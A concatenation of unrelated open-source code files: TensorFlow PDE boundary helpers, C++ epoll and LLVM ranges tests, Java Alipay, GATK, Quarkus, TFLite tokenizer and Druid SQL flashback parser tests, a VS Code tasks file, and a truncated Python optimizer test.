value_grid): # Converts values received from second_order_coeff_fn and similar Callables # into a format usable further down in the pipeline. if raw_coeff is None: return None dtype = value_grid.dtype coeff = tf.convert_to_tensor(raw_coeff, dtype=dtype) coeff = tf.broadcast_to(coeff, tf.shape(value_grid)) return coeff def _prepare_boundary_conditions(boundary_tensor, value_grid, batch_rank, dim): """Prepares values received from boundary_condition callables.""" if boundary_tensor is None: return None boundary_tensor = tf.convert_to_tensor(boundary_tensor, value_grid.dtype) # Broadcast to the shape of the boundary: it is the shape of value grid with # one dimension removed. dim_to_remove = batch_rank + dim broadcast_shape = [] # Shape slicing+concatenation seems error-prone, so let's do it simply. for i, size in enumerate(value_grid.shape): if i != dim_to_remove: broadcast_shape.append(size) return tf.broadcast_to(boundary_tensor, broadcast_shape) def _discretize_boundary_conditions(dx0, dx1, alpha, beta, gamma): """Discretizes boundary conditions.""" # Converts a boundary condition given as alpha V + beta V_n = gamma, # where V_n is the derivative w.r.t. the normal to the boundary into # v0 = xi1 v1 + xi2 v2 + eta, # where v0 is the value on the boundary point of the grid, v1 and v2 - values # on the next two points on the grid. # The expressions are exactly the same for both boundaries. if beta is None: # Dirichlet condition. if alpha is None: raise ValueError( "Invalid boundary conditions: alpha and beta can't both be None.") zeros = tf.zeros_like(gamma) return zeros, zeros, gamma / alpha denom = beta * dx1 * (2 * dx0 + dx1) if alpha is not None: denom += alpha * dx0 * dx1 * (dx0 + dx1) xi1 = beta * (dx0 + dx1) * (dx0 + dx1) / denom xi2 = -beta * dx0 * dx0 / denom eta = gamma * dx0 * dx1 * (dx0 + dx1) / denom return xi1, xi2, eta def _reshape_boundary_conds(raw_coeff, trim_from, expand_dim_at, lower_trim_indices=None, upper_trim_indices=None): """Reshapes boundary condition coefficients.""" # If the coefficient is None, a number or a rank-0 tensor, return as-is. if (not tf.is_tensor(raw_coeff) or len(raw_coeff.shape.as_list()) == 0): # pylint: disable=g-explicit-length-test return raw_coeff # See explanation why we trim boundaries and expand dims in places where this # function is used. coeff = _trim_boundaries(raw_coeff, trim_from, lower_trim_indices=lower_trim_indices, upper_trim_indices=upper_trim_indices) coeff = tf.expand_dims(coeff, expand_dim_at) return coeff def _slice(tensor, dim, start, end): """Slices the tensor along given dimension.""" # Performs a slice along the dimension dim. E.g. for tensor t of rank 3, # _slice(t, 1, 3, 5) is same as t[:, 3:5]. # For a slice unbounded to the right, set end=0: _slice(t, 1, -3, 0) is same # as t[:, -3:]. rank = tensor.shape.rank slices = rank * [slice(None)] if end == 0: end = None slices[dim] = slice(start, end) return tensor[slices] def _trim_boundaries(tensor, from_dim, shifts=None, lower_trim_indices=None, upper_trim_indices=None): """Trims tensor boundaries starting from given dimension.""" # For example, if tensor has shape (a, b, c, d) and from_dim=1, then the # output tensor has shape (a, b-2, c-2, d-2). # For example _trim_boundaries(t, 1) with a rank-4 # tensor t yields t[:, 1:-1, 1:-1, 1:-1]. # # If shifts is specified, the slices applied are shifted. shifts is an array # of length rank(tensor) - from_dim, with values -1, 0, or 1, meaning slices # [:-2], [-1, 1], and [2:], respectively. # For example _trim_boundaries(t, 1, (1, 0, -1)) with a rank-4 # tensor t yields t[:, 2:, 1:-1, :-2]. # If lower_trim_indices or upper_trim_indices are not None, then they define # trimming indices. E.g., # _trim_boundaries(t, 1, lower_trim_indices=[1, 2, 3]) with a rank-4 tensor t # yields t[:, 1:-1, 2:-1, 3:-1]. rank = tensor.shape.rank slices = rank * [slice(None)] for i in range(from_dim, rank): if lower_trim_indices is None: slice_begin = 1 else: slice_begin = lower_trim_indices[i - from_dim] if upper_trim_indices is None: slice_end = -1 else: slice_end = upper_trim_indices[i - from_dim] + 1 # Apply shifts if shifts is not None: shift = shifts[i - from_dim] slice_begin += shift slice_end += shift # If slice_end is `0` integer, do not trim that upper dimension if isinstance(slice_end, int) and slice_end == 0: slice_end = None slices[i] = slice(slice_begin, slice_end) res = tensor[slices] return res def _remove_default_boundary( lower_trim_indices, upper_trim_indices, has_default_lower_boundary, has_default_upper_boundary, batch_rank, dims, n_dims): """Creates trim indices that correspond to an inner grid with Robin BC.""" # For a sequence of `dims` we shift lower trims by one upward, if that lower # bound is default; and upper trims by one downward, if that upper bound is # default. For each dimension we compute paddings # `[[lower_i, upper_i] for i in range(n_dims)]` # with `lower_i` and `upper_i` being 0 or 1 to indicate whether the lower # or upper indices were updated. # For example, _remove_default_boundary( # [0, 1], [-1, 0], # [True, False], [False, True], 0, (1, ), 2) # returns a tuple ([0, 1], [-1, -1], [[0, 0], [0, 1]]) so that only the # upper index of the second dimension was changed. trimmed_lower_indices = [] trimmed_upper_indices = [] paddings = batch_rank * [[0, 0]] for dim in range(n_dims): update_lower = has_default_lower_boundary[dim] and dim in dims update_upper = has_default_upper_boundary[dim] and dim in dims trim_lower = 1 if update_lower else 0 trimmed_lower_indices.append(lower_trim_indices[dim] + trim_lower) trim_upper = 1 if update_upper else 0 trimmed_upper_indices.append(upper_trim_indices[dim] - trim_upper) paddings.append([trim_lower, trim_upper]) return trimmed_lower_indices, trimmed_upper_indices, paddings __all__ = ['multidim_parabolic_equation_step']
25,049
665
// This file is part of MLDB. Copyright 2015 mldb.ai inc. All rights reserved. /* epoll_test.cc <NAME>, 17 November 2014 Copyright (c) 2014 mldb.ai inc. All rights reserved. Assumption tests for epoll */ #define BOOST_TEST_MAIN #define BOOST_TEST_DYN_LINK #include <boost/test/unit_test.hpp> #include "mldb/io/epoller.h" #include "mldb/io/timerfd.h" #include <sys/poll.h> using namespace std; using namespace MLDB; BOOST_AUTO_TEST_CASE( test_basics ) { Epoller epoller; BOOST_CHECK_EQUAL(epoller.selectFd(), -1); epoller.init(16); BOOST_CHECK_NE(epoller.selectFd(), -1); BOOST_CHECK_EQUAL(epoller.poll(), false); BOOST_CHECK_EQUAL(epoller.processOne(), false); // Make sure we don't have anything if we poll on its fd pollfd fd[1] = { { epoller.selectFd(), POLLIN, 0 } }; int res = ::poll(fd, 1, 1 /* microsecond */); BOOST_CHECK_EQUAL(res, 0); epoller.close(); } BOOST_AUTO_TEST_CASE( test_add_fd ) { Epoller epoller; epoller.init(16); BOOST_CHECK_EQUAL(epoller.poll(), false); int fds[2]; // read, write int res = pipe(fds); BOOST_REQUIRE_EQUAL(res, 0); // Add the reader epoller.addFd(fds[0], EPOLL_INPUT); // Check we can't read anything BOOST_CHECK_EQUAL(epoller.poll(), false); BOOST_CHECK_EQUAL(epoller.handleEvents(1 /* microsecond */), 0); // Write something to the pipe char data[] = "hello"; BOOST_REQUIRE_EQUAL(write(fds[1], data, sizeof(data)), sizeof(data)); BOOST_CHECK_EQUAL(epoller.poll(), true); bool done = false; auto handleEvent = [&] (EpollEvent & event) { BOOST_REQUIRE(!done); done = true; BOOST_CHECK_EQUAL(getFd(event), fds[0]); BOOST_CHECK_EQUAL(hasInput(event), true); BOOST_CHECK_EQUAL(hasOutput(event), false); BOOST_CHECK_EQUAL(hasHangup(event), false); char buf[128]; int res = read(fds[0], buf, 128); BOOST_CHECK_EQUAL(res, sizeof(data)); return Epoller::DONE; }; BOOST_CHECK_EQUAL(epoller.handleEvents(1000 /* microsecond */, -1 /* num events */, handleEvent), 1); BOOST_CHECK_EQUAL(done, true); BOOST_CHECK_EQUAL(epoller.handleEvents(1000 /* microsecond */, -1 /* num events */, handleEvent), 0); BOOST_CHECK_EQUAL(epoller.poll(), false); } BOOST_AUTO_TEST_CASE( test_nested_epoll ) { Epoller outer; outer.init(16); Epoller inner; inner.init(16); outer.addFd(inner.selectFd(), EPOLL_INPUT); BOOST_CHECK_EQUAL(outer.poll(), false); BOOST_CHECK_EQUAL(inner.poll(), false); int fds[2]; // read, write int res = pipe(fds); BOOST_REQUIRE_EQUAL(res, 0); // Add the reader inner.addFd(fds[0], EPOLL_INPUT); // Write something to the pipe char data[] = "hello"; BOOST_REQUIRE_EQUAL(write(fds[1], data, sizeof(data)), sizeof(data)); BOOST_CHECK_EQUAL(inner.poll(), true); BOOST_CHECK_EQUAL(outer.poll(), true); char buf[128]; res = read(fds[0], buf, 128); BOOST_CHECK_EQUAL(res, sizeof(data)); auto handleOuterEvent = [&] (EpollEvent & event) { BOOST_CHECK(false); return Epoller::DONE; }; auto handleInnerEvent = [&] (EpollEvent & event) { BOOST_CHECK(false); return Epoller::DONE; }; BOOST_CHECK_EQUAL(inner.handleEvents(1000 /* microsecond */, -1, handleOuterEvent), 0); BOOST_CHECK_EQUAL(outer.handleEvents(1000 /* microsecond */, -1, handleInnerEvent), 0); BOOST_CHECK_EQUAL(inner.poll(), false); BOOST_CHECK_EQUAL(outer.poll(), false); } BOOST_AUTO_TEST_CASE( test_nested_epoll_add_with_event ) { Epoller outer; outer.init(16); Epoller inner; inner.init(16); BOOST_CHECK_EQUAL(outer.poll(), false); BOOST_CHECK_EQUAL(inner.poll(), false); int fds[2]; // read, write int res = pipe(fds); BOOST_REQUIRE_EQUAL(res, 0); // Add the reader inner.addFd(fds[0], EPOLL_INPUT); // Write something to the pipe char data[] = "hello"; BOOST_REQUIRE_EQUAL(write(fds[1], data, sizeof(data)), sizeof(data)); BOOST_CHECK_EQUAL(inner.poll(), true); BOOST_CHECK_EQUAL(outer.poll(), false); outer.addFd(inner.selectFd(), EPOLL_INPUT); BOOST_CHECK_EQUAL(outer.poll(), true); char buf[128]; res = read(fds[0], buf, 128); BOOST_CHECK_EQUAL(res, sizeof(data)); auto handleOuterEvent = [&] (EpollEvent & event) { BOOST_CHECK(false); return Epoller::DONE; }; auto handleInnerEvent = [&] (EpollEvent & event) { BOOST_CHECK(false); return Epoller::DONE; }; BOOST_CHECK_EQUAL(inner.handleEvents(1000 /* microsecond */, -1, handleOuterEvent), 0); BOOST_CHECK_EQUAL(outer.handleEvents(1000 /* microsecond */, -1, handleInnerEvent), 0); BOOST_CHECK_EQUAL(inner.poll(), false); BOOST_CHECK_EQUAL(outer.poll(), false); } BOOST_AUTO_TEST_CASE( test_triply_nested_epoll ) { Epoller outer; outer.init(16); Epoller middle; middle.init(16); Epoller inner; inner.init(16); outer.addFd(middle.selectFd(), EPOLL_INPUT); middle.addFd(inner.selectFd(), EPOLL_INPUT); BOOST_CHECK_EQUAL(outer.poll(), false); BOOST_CHECK_EQUAL(middle.poll(), false); BOOST_CHECK_EQUAL(inner.poll(), false); int fds[2]; // read, write int res = pipe(fds); BOOST_REQUIRE_EQUAL(res, 0); // Add the reader inner.addFd(fds[0], EPOLL_INPUT); // Write something to the pipe char data[] = "hello"; BOOST_REQUIRE_EQUAL(write(fds[1], data, sizeof(data)), sizeof(data)); BOOST_CHECK_EQUAL(inner.poll(), true); BOOST_CHECK_EQUAL(middle.poll(), true); BOOST_CHECK_EQUAL(outer.poll(), true); char buf[128]; res = read(fds[0], buf, 128); BOOST_CHECK_EQUAL(res, sizeof(data)); auto handleOuterEvent = [&] (EpollEvent & event) { BOOST_CHECK(false); return Epoller::DONE; }; auto handleMiddleEvent = [&] (EpollEvent & event) { BOOST_CHECK(false); return Epoller::DONE; }; auto handleInnerEvent = [&] (EpollEvent & event) { BOOST_CHECK(false); return Epoller::DONE; }; BOOST_CHECK_EQUAL(inner.handleEvents(1000 /* microsecond */, -1, handleOuterEvent), 0); BOOST_CHECK_EQUAL(middle.handleEvents(1000 /* microsecond */, -1, handleMiddleEvent), 0); BOOST_CHECK_EQUAL(outer.handleEvents(1000 /* microsecond */, -1, handleInnerEvent), 0); BOOST_CHECK_EQUAL(inner.poll(), false); BOOST_CHECK_EQUAL(middle.poll(), false); BOOST_CHECK_EQUAL(outer.poll(), false); }
2,972
1,566
<reponame>tstrutz/sqlite_orm #pragma once #if defined(_MSC_VER) #if defined(__RESTORE_MIN__) __pragma(pop_macro("min")) #undef __RESTORE_MIN__ #endif #if defined(__RESTORE_MAX__) __pragma(pop_macro("max")) #undef __RESTORE_MAX__ #endif #endif // defined(_MSC_VER)
126
333
package com.alipay.api.response; import com.alipay.api.AlipayResponse; /** * ALIPAY API: alipay.open.public.label.modify response. * * @author auto create * @since 1.0, 2021-06-23 14:43:20 */ public class AlipayOpenPublicLabelModifyResponse extends AlipayResponse { private static final long serialVersionUID = 6153371285783117725L; }
151
1,273
<filename>src/main/java/org/broadinstitute/hellbender/tools/copynumber/formats/records/CoveragePerContig.java package org.broadinstitute.hellbender.tools.copynumber.formats.records; import org.broadinstitute.hellbender.tools.copynumber.DetermineGermlineContigPloidy; import org.broadinstitute.hellbender.utils.Utils; import java.util.LinkedHashMap; /** * Represents total coverage over each contig in an ordered set associated with a named sample. * Should only be used to write temporary files in {@link DetermineGermlineContigPloidy}. * * @author <NAME> &lt;<EMAIL>&gt; */ public final class CoveragePerContig { private final String sampleName; private final LinkedHashMap<String, Integer> coveragePerContig; public CoveragePerContig(final String sampleName, final LinkedHashMap<String, Integer> coveragePerContig) { this.sampleName = Utils.nonEmpty(sampleName); this.coveragePerContig = Utils.nonNull(coveragePerContig); } public String getSampleName() { return sampleName; } public int getCoverage(final String contig) { return coveragePerContig.get(contig); } @Override public boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } final CoveragePerContig that = (CoveragePerContig) o; return sampleName.equals(that.sampleName) && coveragePerContig.equals(that.coveragePerContig); } @Override public int hashCode() { int result = sampleName.hashCode(); result = 31 * result + coveragePerContig.hashCode(); return result; } }
670
10,225
package io.quarkus.micrometer.deployment.export; import java.util.Set; import javax.inject.Inject; import org.jboss.shrinkwrap.api.ShrinkWrap; import org.jboss.shrinkwrap.api.spec.JavaArchive; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.RegisterExtension; import io.micrometer.core.instrument.MeterRegistry; import io.micrometer.core.instrument.composite.CompositeMeterRegistry; import io.micrometer.prometheus.PrometheusMeterRegistry; import io.quarkus.micrometer.test.Util; import io.quarkus.test.QuarkusUnitTest; public class NoDefaultPrometheusTest { @RegisterExtension static final QuarkusUnitTest config = new QuarkusUnitTest() .setFlatClassPath(true) .withConfigurationResource("test-logging.properties") .overrideConfigKey("quarkus.micrometer.binder-enabled-default", "false") .overrideConfigKey("quarkus.micrometer.binder.jvm", "true") .overrideConfigKey("quarkus.micrometer.export.prometheus.enabled", "true") .overrideConfigKey("quarkus.micrometer.export.prometheus.default-registry", "false") .overrideConfigKey("quarkus.micrometer.registry-enabled-default", "false") .setArchiveProducer(() -> ShrinkWrap.create(JavaArchive.class) .addClasses(Util.class, PrometheusRegistryProcessor.REGISTRY_CLASS, SecondPrometheusProvider.class)); @Inject MeterRegistry registry; @Inject PrometheusMeterRegistry promRegistry; @Test public void testMeterRegistryPresent() { // Prometheus is enabled (only registry) Assertions.assertNotNull(registry, "A registry should be configured"); Set<MeterRegistry> subRegistries = ((CompositeMeterRegistry) registry).getRegistries(); Assertions.assertEquals(1, subRegistries.size(), "There should be only one configured subregistry. Found " + subRegistries); PrometheusMeterRegistry subPromRegistry = (PrometheusMeterRegistry) subRegistries.iterator().next(); Assertions.assertEquals(PrometheusMeterRegistry.class, subPromRegistry.getClass(), "Should be PrometheusMeterRegistry"); Assertions.assertEquals(subPromRegistry, promRegistry, "Should be the same bean as the PrometheusMeterRegistry. Found " + subRegistries); Assertions.assertNotNull(registry.find("jvm.info").counter(), "JVM Info counter should be present, found: " + registry.getMeters()); String result = promRegistry.scrape(); Assertions.assertTrue(result.contains("customKey=\"customValue\""), "Scrape result should contain common tags from the custom registry configuration. Found\n" + result); } }
1,124
3,102
<filename>tools/clang/bindings/python/tests/cindex/INPUTS/parse_arguments.c int DECL_ONE = 1; int DECL_TWO = 2;
48
6,484
<gh_stars>1000+ /* Copyright 2019 The TensorFlow Authors. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==============================================================================*/ package org.tensorflow.lite.examples.bertqa.tokenization; import static com.google.common.truth.Truth.assertThat; import androidx.test.core.app.ApplicationProvider; import androidx.test.ext.junit.runners.AndroidJUnit4; import java.io.IOException; import java.nio.ByteBuffer; import java.util.Arrays; import java.util.List; import java.util.Map; import org.junit.Assert; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.tensorflow.lite.examples.bertqa.ml.ModelHelper; import org.tensorflow.lite.support.metadata.MetadataExtractor; /** Tests of {@link org.tensorflow.lite.examples.bertqa.tokenization.FullTokenizer} */ @RunWith(AndroidJUnit4.class) public final class FullTokenizerTest { private Map<String, Integer> dic; @Before public void setUp() throws IOException { ByteBuffer buffer = ModelHelper.loadModelFile(ApplicationProvider.getApplicationContext()); MetadataExtractor metadataExtractor = new MetadataExtractor(buffer); dic = ModelHelper.extractDictionary(metadataExtractor); assertThat(dic).isNotNull(); assertThat(dic).isNotEmpty(); } @Test public void tokenizeTest() throws Exception { FullTokenizer tokenizer = new FullTokenizer(dic, /* doLowerCase= */ true); assertThat(tokenizer.tokenize("Good morning, I'm your teacher.\n")) .containsExactly("good", "morning", ",", "i", "'", "m", "your", "teacher", ".") .inOrder(); assertThat(tokenizer.tokenize("")).isEmpty(); String nullString = null; Assert.assertThrows(NullPointerException.class, () -> tokenizer.tokenize(nullString)); } @Test public void convertTokensToIdsTest() throws Exception { FullTokenizer tokenizer = new FullTokenizer(dic, /* doLowerCase= */ true); List<String> testExample = Arrays.asList("good", "morning", ",", "i", "'", "m", "your", "teacher", "."); assertThat(tokenizer.convertTokensToIds(testExample)) .containsExactly(2204, 2851, 1010, 1045, 1005, 1049, 2115, 3836, 1012) .inOrder(); } }
871
480
/* * Copyright [2013-2021], Alibaba Group Holding Limited * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.alibaba.polardbx.druid.bvt.sql.mysql.select; import com.alibaba.polardbx.druid.sql.MysqlTest; import com.alibaba.polardbx.druid.sql.SQLUtils; import com.alibaba.polardbx.druid.sql.ast.SQLStatement; import org.junit.Assert; public class MySqlSelectTest_315_drds_flashback extends MysqlTest { private void check(String expected, SQLStatement actual) { check(expected, SQLUtils.toMySqlString(actual)); } private void check(String expected, String actual) { Assert.assertEquals(expected, actual); } public void test_0() throws Exception { SQLStatement stmt = parse("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14';"); check("SELECT s1\nFROM t1\nAS OF TIMESTAMP '2021-03-02 11:45:14';", stmt); check("select s1\nfrom t1\nas of timestamp '2021-03-02 11:45:14';", SQLUtils.toMySqlString(stmt, SQLUtils.DEFAULT_LCASE_FORMAT_OPTION)); } public void test_1() throws Exception { SQLStatement stmt = parse("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' AS t;"); check("SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' t;", stmt); stmt = parse("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' t;"); check("SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' t;", stmt); } public void test_2() throws Exception { parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' FORCE INDEX (g_i_1);"); parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' AS a FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (g_i_1);"); parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (g_i_1);"); } public void test_3() throws Exception { parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' PARTITION(p1,p2) FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1 PARTITION (p1, \n" + "p2)\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' FORCE INDEX (g_i_1);"); parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' PARTITION(p1,p2) AS a FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1 PARTITION (p1, \n" + "p2)\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (g_i_1);"); parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' PARTITION(p1,p2) a FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1 PARTITION (p1, \n" + "p2)\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (g_i_1);"); parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' PARTITION(p1,p2) a FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1 PARTITION (p1, \n" + "p2)\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (g_i_1);"); } public void test_4() throws Exception { parseTrue("SELECT s1 FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' AS a PARTITION(p1,p2) FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1 PARTITION (p1, \n" + "p2)\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (g_i_1);"); parseTrue("SELECT s1 FROM t1 a PARTITION(p1,p2) AS OF TIMESTAMP '2021-03-02 11:45:14' FORCE INDEX(g_i_1);", "SELECT s1\n" + "FROM t1 PARTITION (p1, \n" + "p2)\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (g_i_1);"); // PARTITION and AS OF must ahead of index hint parseFalse("SELECT s1 " + "FROM t1 a FORCE INDEX(g_i_1) " + "PARTITION(p1,p2) " + "AS OF TIMESTAMP '2021-03-02 11:45:14';", "syntax error, error in :'INDEX(g_i_1) PARTITION(p1,p2) AS OF TIMESTA, pos 48, line 1, column 40, token PARTITION"); parseFalse("SELECT s1 " + "FROM t1 FORCE INDEX(g_i_1) " + "PARTITION(p1,p2) " + "AS OF TIMESTAMP '2021-03-02 11:45:14';", "syntax error, error in :'INDEX(g_i_1) PARTITION(p1,p2) AS OF TIMESTA, pos 46, line 1, column 38, token PARTITION"); } public void test_5() throws Exception { parseFalse("SELECT s1 " + "FROM (SELECT s2, 1 FROM t1) " + "AS OF TIMESTAMP '2021-03-02 11:45:14' " + "AS a;", "syntax error, error in :'(SELECT s2, 1 FROM t1) AS OF TIMESTAMP '2021-03-02 11, pos 40, line 1, column 45, token AS"); parseFalse("SELECT s1 " + "FROM (SELECT s2, 1 FROM t1) " + "AS a " + "AS OF TIMESTAMP '2021-03-02 11:45:14';", "syntax error, error in :'(SELECT s2, 1 FROM t1) AS a AS OF TIMESTAMP '2021-03-02 11, pos 45, line 1, column 50, token AS"); } public void test_6() throws Exception { parseFalse("SELECT s1 " + "FROM (SELECT 1, 2 UNION SELECT 3,4) " + "AS OF TIMESTAMP '2021-03-02 11:45:14' " + "AS a;", "syntax error, error in :'2 UNION SELECT 3,4) AS OF TIMESTAMP '2021-03-02 11, pos 48, line 1, column 53, token AS"); parseFalse("SELECT s1 " + "FROM (SELECT 1, 2 UNION SELECT 3,4) " + "AS a " + "AS OF TIMESTAMP '2021-03-02 11:45:14';", "syntax error, error in :'2 UNION SELECT 3,4) AS a AS OF TIMESTAMP '2021-03-02 11, pos 53, line 1, column 58, token AS"); } public void test_join_0() throws Exception { parseTrue( "SELECT s1 " + "FROM t1 AS OF TIMESTAMP '2021-03-02 11:45:14' AS a " + "JOIN t2 AS OF TIMESTAMP '2021-04-02 11:45:14' AS b;", "SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a\n" + "\tJOIN t2\n" + "\tAS OF TIMESTAMP '2021-04-02 11:45:14' b;"); } public void test_join_1() throws Exception { parseTrue( "SELECT s1 " + "FROM t1 " + "AS OF TIMESTAMP '2021-03-02 11:45:14' " + "AS a FORCE INDEX(`g_i`) " + "INNER JOIN t2 " + "AS OF TIMESTAMP '2021-04-02 11:45:14' " + "AS b;", "SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (`g_i`)\n" + "\tINNER JOIN t2\n" + "\tAS OF TIMESTAMP '2021-04-02 11:45:14' b;"); parseTrue( "SELECT s1 " + "FROM t1 " + "AS OF TIMESTAMP '2021-03-02 11:45:14' " + "AS a FORCE INDEX(`g_i`) " + "INNER JOIN t2 " + "AS OF TIMESTAMP '2021-04-02 11:45:14' " + "AS b USE INDEX(`g_i_1`);", "SELECT s1\n" + "FROM t1\n" + "AS OF TIMESTAMP '2021-03-02 11:45:14' a FORCE INDEX (`g_i`)\n" + "\tINNER JOIN t2\n" + "\tAS OF TIMESTAMP '2021-04-02 11:45:14' b USE INDEX (`g_i_1`);"); } public void test_join_2() throws Exception { parseTrue( "SELECT s1 " + "FROM t1 " + "AS a " + "IGNORE INDEX(`g_i`) " + "INNER JOIN t2 PARTITION (p1,p2) " + "AS OF TIMESTAMP '2021-04-02 11:45:14' " + "AS b " + "USE INDEX(`g_i_1`);", "SELECT s1\n" + "FROM t1 a IGNORE INDEX (`g_i`)\n" + "\tINNER JOIN t2 PARTITION (p1, \n" + "\tp2)\n" + "\tAS OF TIMESTAMP '2021-04-02 11:45:14' b USE INDEX (`g_i_1`);"); parseTrue( "SELECT s1 " + "FROM t1 " + "AS a " + "IGNORE INDEX(`g_i`) " + "INNER JOIN t2 PARTITION (p1,p2) " + "AS b " + "AS OF TIMESTAMP '2021-04-02 11:45:14' " + "USE INDEX(`g_i_1`);", "SELECT s1\n" + "FROM t1 a IGNORE INDEX (`g_i`)\n" + "\tINNER JOIN t2 PARTITION (p1, \n" + "\tp2)\n" + "\tAS OF TIMESTAMP '2021-04-02 11:45:14' b USE INDEX (`g_i_1`);"); // JOIN PARTITION is not ready, skip for now // parseTrue( // "SELECT s1 " // + "FROM t1 " // + "AS a " // + "IGNORE INDEX(`g_i`) " // + "INNER JOIN t2 b " // + "USE INDEX(`g_i_1`) " // + "PARTITION (p1,p2) " // + "AS OF TIMESTAMP '2021-04-02 11:45:14';", // "SELECT s1\n" // + "FROM t1 a IGNORE INDEX (`g_i`)\n" // + "\tINNER JOIN t2 PARTITION (p1, \n" // + "\tp2)\n" // + "\tAS OF TIMESTAMP '2021-04-02 11:45:14' b USE INDEX (`g_i_1`);"); } }
5,678
319
// tasks.json defines quick commands that can be launched in Visual Studio Code // See https://go.microsoft.com/fwlink/?LinkId=733558 // for the documentation about the tasks.json format { "version": "2.0.0", "tasks": [ { "label": "Checkstyle", "type": "shell", "command": "mvn", "args": ["checkstyle:check", "-f", "./backend/pom.xml", ";", "mvn", "checkstyle:check", "-f", "./frontend/pom.xml"], "problemMatcher": [] } ] }
242
2,338
//===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // UNSUPPORTED: c++03, c++11, c++14, c++17 // UNSUPPORTED: libcpp-no-concepts // UNSUPPORTED: libcpp-has-no-incomplete-ranges // string_view #include <string_view> #include <concepts> #include <ranges> static_assert(std::same_as<std::ranges::iterator_t<std::string_view>, std::string_view::iterator>); static_assert(std::ranges::common_range<std::string_view>); static_assert(std::ranges::random_access_range<std::string_view>); static_assert(std::ranges::contiguous_range<std::string_view>); static_assert(std::ranges::view<std::string_view> && std::ranges::enable_view<std::string_view>); static_assert(std::ranges::sized_range<std::string_view>); static_assert(std::ranges::borrowed_range<std::string_view>); static_assert(std::ranges::viewable_range<std::string_view>); static_assert(std::same_as<std::ranges::iterator_t<std::string_view const>, std::string_view::const_iterator>); static_assert(std::ranges::common_range<std::string_view const>); static_assert(std::ranges::random_access_range<std::string_view const>); static_assert(std::ranges::contiguous_range<std::string_view const>); static_assert(!std::ranges::view<std::string_view const> && !std::ranges::enable_view<std::string_view const>); static_assert(std::ranges::sized_range<std::string_view const>); static_assert(std::ranges::borrowed_range<std::string_view const>); static_assert(std::ranges::viewable_range<std::string_view const>);
587
528
import numpy as np from opytimizer.optimizers.swarm import js from opytimizer.spaces import search np.random.seed(0) def test_js_params(): params = { 'eta': 4.0, 'beta': 3.0, 'gamma': 0.1 } new_js = js.JS(params=params) assert new_js.eta == 4.0 assert new_js.beta == 3.0 assert new_js.gamma == 0.1 def test_js_params_setter(): new_js = js.JS() try: new_js.eta = 'a' except: new_js.eta = 4.0 try: new_js.eta = -1 except: new_js.eta = 4.0 assert new_js.eta == 4.0 try: new_js.beta = 'b' except: new_js.beta = 2.0 try: new_js.beta = 0 except: new_js.beta = 3.0 assert new_js.beta == 3.0 try: new_js.gamma = 'c' except: new_js.gamma = 0.1 try: new_js.gamma = -1 except: new_js.gamma = 0.1 assert new_js.gamma == 0.1 def test_js_initialize_chaotic_map(): search_space = search.SearchSpace(n_agents=10, n_variables=2, lower_bound=[0, 0], upper_bound=[10, 10]) new_js = js.JS() new_js._initialize_chaotic_map(search_space.agents) def test_js_compile(): search_space = search.SearchSpace(n_agents=10, 